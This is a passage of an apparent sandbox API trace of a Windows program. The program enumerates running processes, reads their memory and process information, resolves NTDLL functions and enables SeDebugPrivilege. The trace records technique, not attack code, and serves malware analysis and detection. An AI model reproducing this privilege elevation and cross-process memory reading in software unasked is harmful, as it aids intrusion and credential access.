_ArgList=0x5ec818 | out: _Buffer="4520") returned 4 [0313.648] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.648] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.649] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11a8) returned 0xa9c [0313.649] GetLastError () returned 0x0 [0313.649] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.649] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.649] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.649] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.649] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2228, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.650] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.652] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.652] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.652] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c1be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.652] malloc (_Size=0x6a) returned 0xea9020 [0313.652] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2290, lpBuffer=0xea9020, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9020*, lpNumberOfBytesRead=0x0) returned 1 [0313.653] free (_Block=0xea9020) [0313.653] CloseHandle (hObject=0xa9c) returned 1 [0313.653] _ui64tow_s (in: _Value=0x16b8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5816") returned 0x0 [0313.653] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5816") returned 4 [0313.653] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.653] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.654] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16b8) returned 0xa9c [0313.654] GetLastError () returned 0x0 [0313.654] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.655] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.655] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.655] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4525a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.655] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x452230, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.655] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.655] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.656] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.656] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x451be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.656] malloc (_Size=0x52) returned 0xeaab30 [0313.656] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x452270, lpBuffer=0xeaab30, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaab30*, lpNumberOfBytesRead=0x0) returned 1 [0313.656] free (_Block=0xeaab30) [0313.657] CloseHandle (hObject=0xa9c) returned 1 [0313.657] _ui64tow_s (in: _Value=0x134c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4940") returned 0x0 [0313.657] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4940") returned 4 [0313.657] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.657] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.658] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x134c) returned 0x0 [0313.658] CloseHandle (hObject=0x0) returned 0 [0313.659] _ui64tow_s (in: _Value=0xee8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3816") returned 0x0 [0313.659] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3816") returned 4 [0313.659] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.659] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.660] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee8) returned 0xa9c [0313.660] GetLastError () returned 0x0 [0313.660] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.660] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.660] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.660] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5724e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.660] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.661] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.661] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.661] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.661] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.661] malloc (_Size=0x76) returned 0xea9020 [0313.661] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572164, lpBuffer=0xea9020, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9020*, lpNumberOfBytesRead=0x0) returned 1 [0313.662] free (_Block=0xea9020) [0313.662] CloseHandle (hObject=0xa9c) returned 1 [0313.662] _ui64tow_s (in: _Value=0x44c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1100") returned 0x0 [0313.662] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1100") returned 4 [0313.662] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.662] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.663] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x44c) returned 0xa9c [0313.663] GetLastError () returned 0x0 [0313.664] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.664] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.664] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.664] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4724b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.664] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472118, lpBuffer=0x5ec5a0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.664] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.664] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.665] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.665] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.665] malloc (_Size=0x52) returned 0xeaa290 [0313.665] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472168, lpBuffer=0xeaa290, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa290*, lpNumberOfBytesRead=0x0) returned 1 [0313.666] free (_Block=0xeaa290) [0313.715] CloseHandle (hObject=0xa9c) returned 1 [0313.715] _ui64tow_s (in: _Value=0x370, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="880") returned 0x0 [0313.716] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="880") returned 3 [0313.716] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.716] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.717] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x370) returned 0xa9c [0313.717] GetLastError () returned 0x0 [0313.717] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.717] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.717] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.717] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5924f0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.718] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592118, lpBuffer=0x5ec5a0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.718] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.718] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.718] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.718] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x591ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.718] malloc (_Size=0x68) returned 0xeb6770 [0313.718] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592168, lpBuffer=0xeb6770, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6770*, lpNumberOfBytesRead=0x0) returned 1 [0313.719] free (_Block=0xeb6770) [0313.719] CloseHandle (hObject=0xa9c) returned 1 [0313.719] _ui64tow_s (in: _Value=0x10b8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4280") returned 0x0 [0313.720] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4280") returned 4 [0313.720] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.720] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.721] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b8) returned 0xa9c [0313.721] GetLastError () returned 0x0 [0313.721] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.721] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2d4018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.721] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.721] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5426a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.721] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x542278, lpBuffer=0x5ec5a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.722] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.722] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.722] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2d4020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.722] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x541c30, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.722] malloc (_Size=0x7a) returned 0xe883f0 [0313.722] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5422ec, lpBuffer=0xe883f0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe883f0*, lpNumberOfBytesRead=0x0) returned 1 [0313.723] free (_Block=0xe883f0) [0313.723] CloseHandle (hObject=0xa9c) returned 1 [0313.725] free (_Block=0x2410080) [0313.728] malloc (_Size=0x48) returned 0xea7f20 [0313.728] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ed6c8 | out: lpSystemTimeAsFileTime=0x5ed6c8*(dwLowDateTime=0x7512b999, dwHighDateTime=0x1dac836)) [0313.728] SetEvent (hEvent=0x404) returned 1 [0343.835] malloc (_Size=0xb0) returned 0xe58b20 [0343.835] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7fffcca30000 [0343.836] GetProcAddress (hModule=0x7fffcca30000, lpProcName="RtlInitUnicodeString") returned 0x7fffcca5db90 [0343.836] GetProcAddress (hModule=0x7fffcca30000, lpProcName="RtlFreeUnicodeString") returned 0x7fffcca601c0 [0343.836] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtSetSystemEnvironmentValue") returned 0x7fffccace270 [0343.836] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQuerySystemEnvironmentValue") returned 0x7fffccacd950 [0343.837] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtCreateFile") returned 0x7fffccacb820 [0343.837] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQuerySystemInformation") returned 0x7fffccacb440 [0343.837] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQueryDirectoryObject") returned 0x7fffccacd5d0 [0343.837] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQueryObject") returned 0x7fffccacaf80 [0343.838] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtOpenDirectoryObject") returned 0x7fffccacb880 [0343.838] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQueryInformationProcess") returned 0x7fffccacb0a0 [0343.838] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQueryInformationToken") returned 0x7fffccacb1a0 [0343.838] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtOpenFile") returned 0x7fffccacb3e0 [0343.838] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtClose") returned 0x7fffccacaf60 [0343.839] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtFsControlFile") returned 0x7fffccacb4a0 [0343.839] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQueryVolumeInformationFile") returned 0x7fffccacb6a0 [0343.839] malloc (_Size=0x18) returned 0xec9920 [0343.839] GetCurrentThread () returned 0xfffffffffffffffe [0343.839] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x5ed690 | out: TokenHandle=0x5ed690*=0xa9c) returned 1 [0343.839] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x5ed6cc | out: lpLuid=0x5ed6cc*(LowPart=0x14, HighPart=0)) returned 1 [0343.840] RtlRestoreLastWin32Error () returned 0x2ad000 [0343.841] AdjustTokenPrivileges (in: TokenHandle=0xa9c, DisableAllPrivileges=0, NewState=0x5ed6c8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0343.841] GetLastError () returned 0x0 [0343.841] CloseHandle (hObject=0xa9c) returned 1 [0343.841] malloc (_Size=0x8000) returned 0xe9afd0 [0343.841] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xe9afd0, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0xe9afd0, ResultLength=0x0) returned 0xc0000004 [0343.844] free (_Block=0xe9afd0) [0343.844] malloc (_Size=0x10000) returned 0xeced60 [0343.845] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xeced60, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xeced60, ResultLength=0x0) returned 0xc0000004 [0343.848] free (_Block=0xeced60) [0343.848] malloc (_Size=0x18000) returned 0xeced60 [0343.848] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xeced60, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0xeced60, ResultLength=0x0) returned 0xc0000004 [0343.851] free (_Block=0xeced60) [0343.851] malloc (_Size=0x20000) returned 0xf1af50 [0343.852] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xf1af50, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0xf1af50, ResultLength=0x0) returned 0xc0000004 [0343.857] free (_Block=0xf1af50) [0343.857] malloc (_Size=0x28000) returned 0x2410080 [0343.858] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2410080, Length=0x28000, ResultLength=0x0 | out: SystemInformation=0x2410080, ResultLength=0x0) returned 0x0 [0343.862] _ui64tow_s (in: _Value=0x0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0343.862] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="0") returned 1 [0343.862] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x97b9, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0343.862] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0343.871] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0343.871] CloseHandle (hObject=0x0) returned 0 [0343.872] _ui64tow_s (in: _Value=0x4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0343.872] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4") returned 1 [0343.872] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0343.872] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, 